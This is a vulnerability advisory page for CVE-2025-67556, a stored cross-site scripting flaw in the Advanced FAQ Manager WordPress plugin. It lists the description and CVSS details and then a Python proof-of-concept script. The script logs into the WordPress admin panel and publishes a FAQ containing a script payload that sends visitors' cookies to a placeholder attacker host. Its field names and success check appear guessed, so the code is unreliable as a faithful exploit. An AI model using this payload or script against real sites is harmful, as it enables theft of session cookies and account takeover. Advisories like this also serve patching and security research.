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CVE-2025-67556 CVSS 5.9 MEDIUM

CVE-2025-67556

Published: 2025-12-09 16:18:32
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeHigh Advanced FAQ Manager advanced-faq-manager allows Stored XSS.This issue affects Advanced FAQ Manager: from n/a through <= 1.5.2.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Advanced FAQ Manager <= 1.5.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys from bs4 import BeautifulSoup # CVE-2025-67556 PoC - Stored XSS in Advanced FAQ Manager Plugin # Target: WordPress site with Advanced FAQ Manager <= 1.5.2 target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target-site.com' admin_path = '/wp-admin/admin.php?page=advanced-faq-manager' # XSS payload - Cookie stealing payload xss_payload = '<script>fetch("https://attacker.com/log?c="+document.cookie)</script>' def exploit_stored_xss(): """ Exploit stored XSS in Advanced FAQ Manager plugin. Requires high privilege account (Admin/Editor). """ session = requests.Session() # Step 1: Login as admin login_url = f'{target_url}/wp-login.php' credentials = { 'log': 'admin_username', 'pwd': 'admin_password', 'wp-submit': 'Log In', 'redirect_to': f'{target_url}{admin_path}' } print('[+] Logging into WordPress admin panel...') response = session.post(login_url, data=credentials) if 'wordpress_logged_in' not in session.cookies: print('[-] Login failed!') return False print('[+] Login successful!') # Step 2: Navigate to FAQ management page faq_url = f'{target_url}{admin_path}' response = session.get(faq_url) # Step 3: Create new FAQ with XSS payload add_faq_url = f'{target_url}/wp-admin/admin.php?page=advanced-faq-manager&action=add_new' faq_data = { 'afaq_question': xss_payload, 'afaq_answer': 'Malicious FAQ content with XSS payload', 'afaq_category': '1', 'afaq_status': 'publish', 'afaq_submit': 'Publish' } print('[+] Injecting stored XSS payload into FAQ...') response = session.post(add_faq_url, data=faq_data) if response.status_code == 200: print('[+] XSS payload injected successfully!') print(f'[+] Payload: {xss_payload}') print('[+] Payload will execute when admin/user views the FAQ page.') return True else: print('[-] Failed to inject payload!') return False if __name__ == '__main__': exploit_stored_xss()

References

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